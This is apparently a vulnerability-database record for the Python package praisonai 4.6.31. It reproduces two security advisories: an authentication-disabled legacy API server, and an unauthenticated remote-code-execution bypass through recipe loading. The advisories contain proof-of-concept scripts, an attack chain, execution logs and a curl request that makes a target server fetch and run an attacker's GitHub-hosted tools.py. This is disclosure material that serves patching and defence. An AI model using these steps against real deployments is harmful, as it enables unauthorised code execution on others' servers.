Lookup for vulnerable packages by Package URL.

Purlpkg:pypi/praisonai@4.6.31
Typepypi
Namespace
Namepraisonai
Version4.6.31
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version4.6.34
Latest_non_vulnerable_version4.6.40
Affected_by_vulnerabilities
0
url VCID-9ge8-v7qc-nuad
vulnerability_id VCID-9ge8-v7qc-nuad
summary
PraisonAI ships and generates a legacy API server with authentication disabled by default, allowing unauthenticated workflow execution
### Summary
PraisonAI ships a legacy Flask API server with authentication disabled by default. When that server is used, any caller that can reach it can access `/agents` and trigger the configured `agents.yaml` workflow through `/chat` without providing a token.

### Details
The vulnerable server is the shipped `src/praisonai/api_server.py` entrypoint.

- `AUTH_ENABLED = False` and `AUTH_TOKEN = None` are hard-coded at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:15)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:15).
- `check_auth()` returns `True` whenever authentication is disabled, so both protected routes fail open by design at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:18)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:18).
- `POST /chat` only checks that the request JSON contains a `message` key and then runs `PraisonAI(agent_file="agents.yaml").run()` at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:31)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:31).
- `GET /agents` is guarded by the same no-op authentication check and returns agent metadata at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:55)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:66):55).
- When launched directly, the same script binds to `0.0.0.0:8080` at [src/praisonai/api_server.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:66).

The deploy subsystem keeps the same insecure authentication default:

- `APIConfig` defaults `auth_enabled` to `False` in [[src/praisonai/praisonai/deploy/models.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/models.py:23)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/models.py:23).
- The generated sample API deployment YAML recommends `host: 0.0.0.0` together with `auth_enabled: false` in [[src/praisonai/praisonai/deploy/schema.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/schema.py:108)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/schema.py:108).

For scope clarity: the newer `serve agents` command is safer by default, because it binds to `127.0.0.1` and supports `--api-key` in [[src/praisonai/praisonai/cli/commands/serve.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155). This report is about the shipped legacy API server and the generated/sample API deployment path above.

Version scope:

- `v2.5.6` already ships the same `src/praisonai/api_server.py` implementation.
- The current PyPI release on May 1, 2026 is `4.6.33`, and it still ships the same unauthenticated server logic.

### PoC
The following route-level reproduction was verified locally and proves that the shipped `api_server.py` exposes `/agents` and `/chat` without authentication.

1. From the repository root, create a throwaway environment with the server's direct Flask dependencies:

```bash
python3 -m venv /tmp/praisonai-ghsa-venv
/tmp/praisonai-ghsa-venv/bin/pip install flask flask-cors
```

2. Execute the shipped `src/praisonai/api_server.py` under a minimal stub for `praisonai.PraisonAI` so only the server auth logic is exercised:

```bash
/tmp/praisonai-ghsa-venv/bin/python - <<'PY'
import importlib.util
import pathlib
import sys
import types

stub = types.ModuleType("praisonai")

class DummyPraisonAI:
    def __init__(self, agent_file="agents.yaml"):
        self.agent_file = agent_file
    def run(self):
        return {"ran": True, "agent_file": self.agent_file}

stub.PraisonAI = DummyPraisonAI
sys.modules["praisonai"] = stub

path = pathlib.Path("src/praisonai/api_server.py").resolve()
spec = importlib.util.spec_from_file_location("api_server_local", path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)

client = mod.app.test_client()
print(client.get("/agents").status_code, client.get("/agents").get_data(as_text=True))
print(client.post("/chat", json={"message": "hello"}).status_code, client.post("/chat", json={"message": "hello"}).get_data(as_text=True))
PY
```

3. Observed result:

```text
200 {"agent_file":"agents.yaml","agents":["default"]}
200 {"response":{"agent_file":"agents.yaml","ran":true},"status":"success"}
```

Both endpoints succeed without any `Authorization` header.

### Impact
Any reachable caller can invoke the legacy API server's protected functionality without a token.

At minimum, this allows:

- unauthenticated enumeration of the configured agent file through `/agents`
- unauthenticated triggering of the locally configured `agents.yaml` workflow through `/chat`
- repeated consumption of model/API quota and any other side effects performed by that workflow
- exposure of whatever result `PraisonAI.run()` returns to the unauthenticated caller

This is not the same as arbitrary prompt injection by itself, because the current `/chat` handler ignores the submitted `message` value and simply runs the configured workflow. The impact therefore depends on what the operator's `agents.yaml` is allowed to do, but the authentication bypass is unconditional in the shipped legacy server.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-44338
reference_id
reference_type
scores
0
value 0.00029
scoring_system epss
scoring_elements 0.08731
published_at 2026-06-05T12:55:00Z
1
value 0.00029
scoring_system epss
scoring_elements 0.0868
published_at 2026-06-08T12:55:00Z
2
value 0.00029
scoring_system epss
scoring_elements 0.08726
published_at 2026-06-07T12:55:00Z
3
value 0.00029
scoring_system epss
scoring_elements 0.08746
published_at 2026-06-06T12:55:00Z
4
value 0.00031
scoring_system epss
scoring_elements 0.09527
published_at 2026-06-09T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-44338
1
reference_url https://github.com/MervinPraison/PraisonAI
reference_id
reference_type
scores
0
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/MervinPraison/PraisonAI
2
reference_url https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6rmh-7xcm-cpxj
reference_id
reference_type
scores
0
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-05-08T14:14:21Z/
url https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6rmh-7xcm-cpxj
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-44338
reference_id
reference_type
scores
0
value 7.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-44338
fixed_packages
0
url pkg:pypi/praisonai@4.6.34
purl pkg:pypi/praisonai@4.6.34
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/praisonai@4.6.34
aliases CVE-2026-44338, GHSA-6rmh-7xcm-cpxj
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-9ge8-v7qc-nuad
1
url VCID-wsxk-z8my-rkep
vulnerability_id VCID-wsxk-z8my-rkep
summary
PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)
## TL;DR

CVE-2026-40287's fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in **two** files (`tool_resolver.py`, `api/call.py`). A **third** import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is **remotely** triggerable through `POST /v1/recipes/run` with a `recipe` value pointing at any local absolute path *or* any GitHub repo (because `SecurityConfig.allow_any_github` defaults to `True`). The attacker drops a `tools.py` next to `TEMPLATE.yaml`; the server `exec_module()`s it. No auth required by default, no environment opt-in required.

## Patch coverage gap

CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:

| File | Line | Gate |
|---|---|---|
| `praisonai/tool_resolver.py` | 77 | `if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":` |
| `praisonai/api/call.py` | 80 | same |

But the equivalent sinks in `praisonai/templates/tool_override.py` were **not** patched:

```python
# tool_override.py - create_tool_registry_with_overrides()
332    cwd_tools_py = Path.cwd() / "tools.py"
333    if cwd_tools_py.exists():
334        try:
335            tools = loader.load_from_file(str(cwd_tools_py))   # <-- exec_module
336            registry.update(tools)
337        except Exception:
338            pass
339
341    # 4. Template-local tools.py
342    if template_dir:
343        tools_py = Path(template_dir) / "tools.py"
344        if tools_py.exists():
345            try:
346                tools = loader.load_from_file(str(tools_py))   # <-- exec_module
347                registry.update(tools)
348            except Exception:
349                pass
```

`load_from_file` (line 84-94) ends in `spec.loader.exec_module(module)` with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.

## Attack chain

```
HTTP POST /v1/recipes/run
  body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"}
        │
        ▼
recipe/serve.py:483   run_recipe(request)              ← auth=none default
        │
        ▼
recipe/core.py:215    recipe.run(name, ...)
        │
        ▼
recipe/core.py:686    _load_recipe(name)
                      └─ ".." check only; absolute paths and URIs allowed
        │
        ▼
templates/loader.py:94    TemplateLoader.load(uri)
        │
        ▼
templates/security.py:130 is_source_allowed("github:*")
                          └─ allow_any_github=True default → returns True
        │
        ▼
templates/registry.py     fetch repo from raw.githubusercontent.com → cache dir
        │
        ▼
templates/security.py:215 validate_template_directory(cached.path)
                          └─ .py is in allowed_extensions → tools.py kept
        │
        ▼
recipe/core.py:887        _execute_recipe(recipe_config, ...)
        │
        ▼
recipe/core.py:943        create_tool_registry_with_overrides(
                              include_defaults=True,
                              template_dir=recipe_config.path)
        │
        ▼
templates/tool_override.py:341-349   load_from_file(template_dir/tools.py)
        │
        ▼
templates/tool_override.py:94        spec.loader.exec_module(module)   ← RCE
```

The tool registry build runs *before* any LLM/agent step, so `OPENAI_API_KEY` and similar are not required. A recipe with an empty `workflow.steps: []` is sufficient - the payload fires during registry construction.

## Confirmed execution (2026-04-25, praisonai 4.6.31)

```
SERVER stdout (PID 43784):
  Uvicorn running on http://127.0.0.1:8765
  127.0.0.1 - POST /v1/recipes/run HTTP/1.1
  [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt
  127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error

Marker file:
  pid: 43784            ← matches server PID
  argv: ['server.py']   ← server process, not exploit
```

The 500 response is a downstream side-effect of `workflow.steps: []` failing to construct a runnable workflow; the `exec_module(tools.py)` call runs *before* that error. The attacker payload has already executed in the server process by the time the 500 is sent.

## Reproduction (local-path variant)

Files under `pocs/praisonai-cve-2026-40287-bypass/`:

- [evil_recipe/TEMPLATE.yaml](https://github.com/user-attachments/files/27079207/TEMPLATE.yaml) - minimal recipe metadata
- [evil_recipe/tools.py](https://github.com/user-attachments/files/27079210/tools.py) - payload (writes a marker file in tempdir)
- [server.py](https://github.com/user-attachments/files/27079211/server.py) - starts `praisonai.recipe.serve.create_app({})` on `127.0.0.1:8765` (default `auth: none`)
- [exploit.py](https://github.com/user-attachments/files/27079214/exploit.py) - single POST to `/v1/recipes/run`

```bash
pip install 'praisonai[serve]==4.6.31'

# Terminal 1
python server.py

# Terminal 2
python exploit.py
```

Expected: server stdout shows `[CVE-2026-40287-bypass] RCE fired.`; a `praisonai_pwn_<timestamp>.txt` file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.

## Reproduction (remote GitHub variant)

```bash
# Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo)

curl -X POST http://target:8765/v1/recipes/run \
     -H 'Content-Type: application/json' \
     -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}'
```

No filesystem prerequisite on the target. Triggers because `SecurityConfig.allow_any_github` (templates/security.py:30) defaults to `True`.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-44334
reference_id
reference_type
scores
0
value 8e-05
scoring_system epss
scoring_elements 0.00861
published_at 2026-06-06T12:55:00Z
1
value 8e-05
scoring_system epss
scoring_elements 0.00857
published_at 2026-06-08T12:55:00Z
2
value 8e-05
scoring_system epss
scoring_elements 0.00859
published_at 2026-06-07T12:55:00Z
3
value 8e-05
scoring_system epss
scoring_elements 0.0086
published_at 2026-06-05T12:55:00Z
4
value 9e-05
scoring_system epss
scoring_elements 0.01004
published_at 2026-06-09T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-44334
1
reference_url https://github.com/advisories/GHSA-g985-wjh9-qxxc
reference_id
reference_type
scores
0
value 8.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/advisories/GHSA-g985-wjh9-qxxc
2
reference_url https://github.com/MervinPraison/PraisonAI
reference_id
reference_type
scores
0
value 8.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/MervinPraison/PraisonAI
3
reference_url https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xcmw-grxf-wjhj
reference_id
reference_type
scores
0
value 8.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-05-08T23:20:04Z/
url https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xcmw-grxf-wjhj
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-44334
reference_id
reference_type
scores
0
value 8.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-44334
5
reference_url https://github.com/advisories/GHSA-xcmw-grxf-wjhj
reference_id GHSA-xcmw-grxf-wjhj
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-xcmw-grxf-wjhj
fixed_packages
0
url pkg:pypi/praisonai@4.6.32
purl pkg:pypi/praisonai@4.6.32
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-9ge8-v7qc-nuad
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/praisonai@4.6.32
aliases CVE-2026-44334, GHSA-xcmw-grxf-wjhj
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-wsxk-z8my-rkep
Fixing_vulnerabilities
Risk_score4.0
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:pypi/praisonai@4.6.31